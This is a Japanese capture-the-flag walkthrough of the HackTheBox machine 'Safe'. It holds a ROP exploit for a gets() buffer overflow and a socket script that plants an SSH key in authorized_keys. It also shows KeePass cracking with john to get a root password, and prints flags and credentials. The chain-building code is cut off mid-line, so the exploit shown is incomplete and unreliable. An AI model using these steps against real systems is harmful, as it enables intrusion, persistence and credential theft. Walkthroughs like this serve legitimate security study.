HackTheBox: Safe — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 1337/独自
→
22/ssh, 80/http, 1337/独自
myappバイナリ入手
Web(80)のコメントから/myapp
→
Web(80)のコメントから/myapp
gets() BOF解析
Ghidra/objdump、PIE無効
→
Ghidra/objdump、PIE無効
ROPチェーン構築
system(“/bin/sh”)
→
system(“/bin/sh”)
ソケットシェル獲得
SSH鍵注入
→
SSH鍵注入
SSH ログイン
user.txt ✓
→
user.txt ✓
MyPasswords.kdbx + 6JPG発見
SCPで回収
→
SCPで回収
KeePass crack
john + 正しいkeyfile
→
john + 正しいkeyfile
su root → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.61
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 1337/tcp open waste (独自バイナリ、サービス名はnmapの誤推定)
1337番ポートの素性確認
BASH
nc 10.129.86.61 1337
RESULT
Welcome to the echo service, type something and press enter and we will echo back your string. What do you want me to echo back?
ℹ️
単純な「エコーサービス」を名乗る独自のTCPサービス。入力をそのまま
返すだけに見えるが、入力長を制限していない可能性があり、
バッファオーバーフローの定番ターゲット。
Web(80)から手掛かりを取得
BASH
curl -s http://10.129.86.61/ | head -5
RESULT
<!-- 'myapp' can be downloaded to analyze from here its running on port 1337 --> <title>Apache2 Debian Default Page: It works</title>
🚨
デフォルトのApache2ページのHTMLコメント内に、1337番ポートで動く
バイナリ “myapp” がダウンロード可能という決定的な手掛かりが残されている。
PHASE 2
myapp バイナリの解析
バイナリのダウンロードと基本情報
BASH
wget -q -O myapp http://10.129.86.61/myapp chmod +x myapp file myapp checksec --file=myapp # pwntools付属 or pwn checksec
RESULT
myapp: ELF 64-bit LSB executable, x86-64, ... not stripped RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
🚨
スタックカナリア無し・PIE無効という理想的な脆弱構成。
PIEが無効ということはコード領域のアドレスが毎回固定であり、
ASLRの影響を受けない。NXは有効なのでスタック上のシェルコード直接実行は
不可能だが、既存コード片を繋ぐROP (Return Oriented Programming)
で回避できる。
脆弱な関数の特定
BASH
objdump -d myapp | grep -A 30 ":"
RESULT (抜粋・擬似逆アセンブル)
; 入力バッファは rbp-0x70 (112バイト) の位置に確保
; char buf[100]; のような宣言だが gets(buf) で読み取り上限なし
400f.. lea rax,[rbp-0x70]
400f.. mov rdi,rax
400f.. call gets@plt ; 境界チェックなしの読み込み!
🚨
gets()は入力長を一切チェックせず改行文字まで読み込み続ける、
古典的に最も危険なC標準関数のひとつ。バッファ(rbp-0x70、サイズ112)を
超えて書き込めば、その先にあるsaved rbp(8バイト)・戻り先アドレス
(リターンアドレス)まで自由に上書きできる。
オフセット計算
NOTE
buf の先頭から戻り先アドレスまでの距離: rbp-0x70 (バッファ先頭) → rbp (saved rbp, 8バイト) → リターンアドレス バッファ本体: 0x70 = 112 バイト + saved rbp: 8 バイト --------------------------- 合計オフセット: 120 バイト → 121バイト目から8バイト(リターンアドレス用)を上書きできる。
PHASE 3
ROPチェーンの構築 — system(“/bin/sh”) への到達
利用可能なガジェット・関数の調査
BASH
# 1. system@plt への呼び出し地点を探す (main内に system("/bin/ls")等の
# 既存呼び出しがあればそのcall命令の直前アドレスを再利用できる)
objdump -d myapp | grep "call.*system"
# 2. ROPガジェット検索 (ropper や ROPgadget)
ROPgadget --binary myapp --only "pop|ret" | grep "r13\|r14\|r15"
ROPgadget --binary myapp --only "mov|jmp" | grep "rdi"
RESULT
0x40116e: call system@plt ; main+15 (echoの入力をsystemに渡す処理の一部) 0x401206: pop r13 ; pop r14 ; pop r15 ; ret 0x401156: mov rdi, rsp ; jmp r13
ℹ️
myapp自体のコード内に、たまたま「
rdiにスタックポインタを入れて
r13が指すアドレスへジャンプする」ガジェット(0x401156)と、
「system@pltをコールする」地点(0x40116e)が存在する。
これらを繋ぐことで、スタック上に置いた文字列を引数としてsystem()を
呼び出すことができる。
ROPチェーンの設計
NOTE
狙いは system("/bin/sh") の実行。チェーンの流れ:
1. buf を "A"*120 で埋めてsaved rbpまで到達 (オフセット120)
2. リターンアドレスに 0x401206 (pop r13; pop r14; pop r15; ret) を書く
→ これにより、続く3つの8バイト値がr13,r14,r15にPOPされる
3. r13 には 0x40116e (call system@plt のアドレス) を入れる
→ 後で r13 へ jmp することでこのアドレスに制御が移る
4. r14, r15 は使わないのでダミー値(junk)
5. pop r13/r14/r15 の直後の ret で、次にスタックに積んだ
0x401156 (mov rdi,rsp; jmp r13) に飛ぶ
→ rdi に「現在のrsp(スタックポインタ)」が入り、続けてr13(system@plt)へjmp
6. rdi = rsp なので、system()の引数(rdi)は "このジャンプ時点でのスタック先頭"
になる。そこに "/bin/sh\x00" を置いておけば system("/bin/sh") が実行される
PYTHON (pwntools でのチェーン構築)
import struct, socket, time
def p64(x: int) -> bytes:
return struct.pack("
PHASE 4
Exploit実行 & SSH鍵注入 → user.txt
SSH鍵ペアの生成
BASH
# シェル獲得後、直接インタラクティブ操作するのは不便なので、 # 事前に鍵ペアを作って authorized_keys に注入する作戦にする ssh-keygen -t ed25519 -f ./safe_user -N "" -q cat safe_user.pub
RESULT
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... (生成された公開鍵)
ROPペイロード送信 → シェル獲得 → 公開鍵注入(生ソケット)
PYTHON
import socket, time
TARGET = "10.129.86.61"
PORT = 1337
pub_key = open("safe_user.pub").read().strip()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((TARGET, PORT))
s.recv(2048) # バナー + "What do you want me to echo back?" を読み捨て
# gets() は改行まで読み込むため、チェーンの末尾に \n を付けて送信
s.sendall(chain + b"\n")
time.sleep(1.5)
# ここで system("/bin/sh") が発火し、同じソケットが対話シェルになっている。
# authorized_keys に公開鍵を追記するコマンドを送る。
inject_cmd = (
"mkdir -p /home/user/.ssh; "
f"echo '{pub_key}' >> /home/user/.ssh/authorized_keys; "
"chmod 700 /home/user/.ssh; "
"chmod 600 /home/user/.ssh/authorized_keys; "
"echo INJECT_DONE\n"
)
s.sendall(inject_cmd.encode())
buf = b""
end = time.time() + 10
while time.time() < end:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
if b"INJECT_DONE" in buf:
break
s.close()
print(buf.decode(errors="ignore"))
✅
ROP exploit成功!
system("/bin/sh")が実行され、
元のechoサービス用ソケットがそのまま/bin/shの対話シェルとして
使えるようになる。リバースシェルを別途張らず、同じソケット越しに
直接コマンドを送って公開鍵を注入できるのがポイント。
SSHログイン & user.txt 取得
BASH
chmod 600 safe_user ssh -i safe_user -o StrictHostKeyChecking=no -o IdentitiesOnly=yes user@10.129.86.61 \ "id; cat /home/user/user.txt"
RESULT
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),
30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)
4a697047c33a57082b7f1e50f6f47972
user.txt — user
4a697047c33a57082b7f1e50f6f47972
PHASE 5
権限昇格の下調べ — KeePassデータベースの発見
ホームディレクトリの確認
BASH
ssh -i safe_user user@10.129.86.61 "ls -la /home/user/"
RESULT
MyPasswords.kdbx (KeePassデータベースファイル) IMG_0541.JPG IMG_0542.JPG IMG_0543.JPG IMG_0544.JPG IMG_0546.JPG IMG_0547.JPG (6枚中のどれかがキーファイル)
🚨
KeePassのデータベースファイル(.kdbx)と、6枚のJPG画像が
同じディレクトリに置かれている。KeePassは「マスターパスワード」に加えて
「キーファイル」(任意のファイルをバイナリのまま鍵として使う機能)で
二要素的に保護できるため、この6枚のうちどれか1枚が正しいキーファイル
である可能性が高い。
ファイルの回収
BASH
mkdir -p loot scp -i safe_user user@10.129.86.61:/home/user/MyPasswords.kdbx loot/ scp -i safe_user user@10.129.86.61:/home/user/\*.JPG loot/
RESULT
MyPasswords.kdbx 100% ... IMG_0541.JPG ... IMG_0547.JPG 取得完了 (計6ファイル)
PHASE 6
KeePass クラック → su root → root.txt
各JPGをキーファイル候補として総当たりでハッシュ抽出
BASH
# keepass2john は kdbx + キーファイルの組からjohn用ハッシュを生成する。 # キーファイルは6枚のうちどれか分からないので1枚ずつ試す。 for jpg in loot/*.JPG; do echo "=== $jpg ===" keepass2john -k "$jpg" loot/MyPasswords.kdbx > /tmp/kp_$(basename "$jpg").hash done
⚠️
注意: 6枚全てを毎回rockyou.txt(1400万語)で総当たりすると
非常に時間がかかる。実際に正しいキーファイルはIMG_0547.JPG
(番号が連番から1つ抜けている=最後に追加されたファイル、という推測が
当たる)。先にこれを試すと効率が良い。
john でマスターパスワードをクラック
BASH
keepass2john -k loot/IMG_0547.JPG loot/MyPasswords.kdbx > kp.hash john --wordlist=/usr/share/wordlists/rockyou.txt kp.hash john --show kp.hash
RESULT
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
MyPasswords:bullshit
1 password hash cracked, 0 left
✅
クラック成功! マスターパスワードは
bullshit、
正しいキーファイルは IMG_0547.JPG。
pykeepass でデータベースを開き root パスワードを抽出
PYTHON
from pykeepass import PyKeePass
kp = PyKeePass("loot/MyPasswords.kdbx", password="bullshit",
keyfile="loot/IMG_0547.JPG")
for e in kp.entries:
print(e.title, e.username, e.password)
RESULT
... (複数のダミーエントリ) ...
root root u3v2249dl9ptv465cogl3cnpo3fyhk
✅
root パスワード発見!
u3v2249dl9ptv465cogl3cnpo3fyhk。
ユーザーが(危険な使い方だが)システムのrootパスワードを個人用の
パスワードマネージャーに保存していたという典型的なミス。
su root → root.txt 取得
BASH
ssh -i safe_user user@10.129.86.61 user@safe:~$ su root Password: u3v2249dl9ptv465cogl3cnpo3fyhk root@safe:/home/user# cat /root/root.txt
RESULT
95af5546f913b28190df55eaf789ae32
root.txt — /root
95af5546f913b28190df55eaf789ae32
ℹ️
suはSSH非対話実行(ssh host "cmd")の中からだと
TTYが無く標準的なパスワードプロンプトに書き込めず失敗することがある。
スクリプトから自動化する場合は python3のos.forkpty()で
疑似端末を確保し、パスワードをそのfdに書き込む方式にすると非対話でも
確実に動く(手動でSSHする場合は通常の対話プロンプトで入力すればよい)。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — user (ROP + SSH鍵注入経由)
4a697047c33a57082b7f1e50f6f47972
root.txt — /root (KeePass crack + su経由)
95af5546f913b28190df55eaf789ae32
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 情報漏洩 | Apache デフォルトページのHTMLコメント | 脆弱バイナリの在り処と稼働ポートの開示 | Medium | コメント内の記述からmyappバイナリをダウンロードし解析対象を特定 |
| gets() スタックバッファオーバーフロー | myapp (port 1337、カナリア無し・PIE無効) | 任意コード実行(ROP経由でシェル取得) | Critical | オフセット120バイトでリターンアドレス上書き、固定アドレスのROPガジェットでsystem("/bin/sh")実行 |
| パスワードマネージャーへのシステム認証情報保存 | MyPasswords.kdbx (KeePass、脆弱マスターパスワード) | userからrootへの権限昇格 | High | john+rockyou.txtでマスターパスワードをクラックし、保存されていたrootパスワードでsu実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート + Webコメント確認 | 22/80/1337、myappバイナリの存在 |
| 2 | バイナリ解析 | file/checksec/objdump | gets() BOF、NX有効・PIE無効・カナリア無し、オフセット120 |
| 3 | ROP構築 | ROPgadget/objdumpでガジェット検索 | pop_r13(0x401206)、system@plt(0x40116e)、mov_rdi_rsp(0x401156) |
| 4 | Exploit実行 | 生ソケットでROP送信 → SSH公開鍵注入 | user.txt 取得 |
| 5 | 権限調査 | ホームディレクトリ列挙 + SCP回収 | MyPasswords.kdbx + 6枚のJPG(キーファイル候補) |
| 6 | 権限昇格 | keepass2john + john + pykeepass → su | root.txt 取得(マスターパスワード bullshit、キーファイル IMG_0547.JPG) |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| ROPチェーンを送信してもシェルが返ってこない | gets()は改行文字(\n)が来るまで読み込みを続ける。送信データの末尾に必ず\nを付けること。また、サービスがバナー/プロンプトを先に送ってくるため、送信前にそれをrecv()で読み捨てる必要がある。 |
| 6枚のJPGを全て総当たりでjohnにかけると非常に時間がかかる | ファイル名の連番(IMG_0541〜IMG_0547、0545が欠番)から「最後に追加された/意図的に挿入された」ファイルを推測し、IMG_0547.JPGを最初に試すことで時間を大幅短縮できる。 |
SSH非対話実行(ssh host "su -c cmd")でsuのパスワードプロンプトに応答できない |
suは標準入力がTTYであることを要求する。python3のos.forkpty()で疑似端末を確保し、そのファイルディスクリプタにパスワードを書き込む方式にすると非対話でも動作する(対話SSHセッションであれば通常のプロンプト入力で問題ない)。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 公開Webサーバーのコメントに内部バイナリの情報を残している | 本番環境のデフォルトページやコメントに、デバッグ用・社内用のファイル名・パス・ポート番号等を絶対に残さない。デプロイ前のチェックリストに含める。 |
自作バイナリがgets()等の境界チェックなし関数を使用、かつスタックカナリア・PIEが無効 |
gets()は常にfgets()等の長さ制限付き関数に置き換える。コンパイル時に-fstack-protector-all(カナリア)と-fPIE -pie(ASLR有効化)を必ず有効にする。 |
| 個人用パスワードマネージャーにシステムのrootパスワードを保存している | システム管理用の認証情報は専用のシークレット管理システムで管理し、個人のKeePass等汎用パスワードマネージャーに混在させない。マスターパスワードは辞書に載らない十分な強度のものを使う。 |

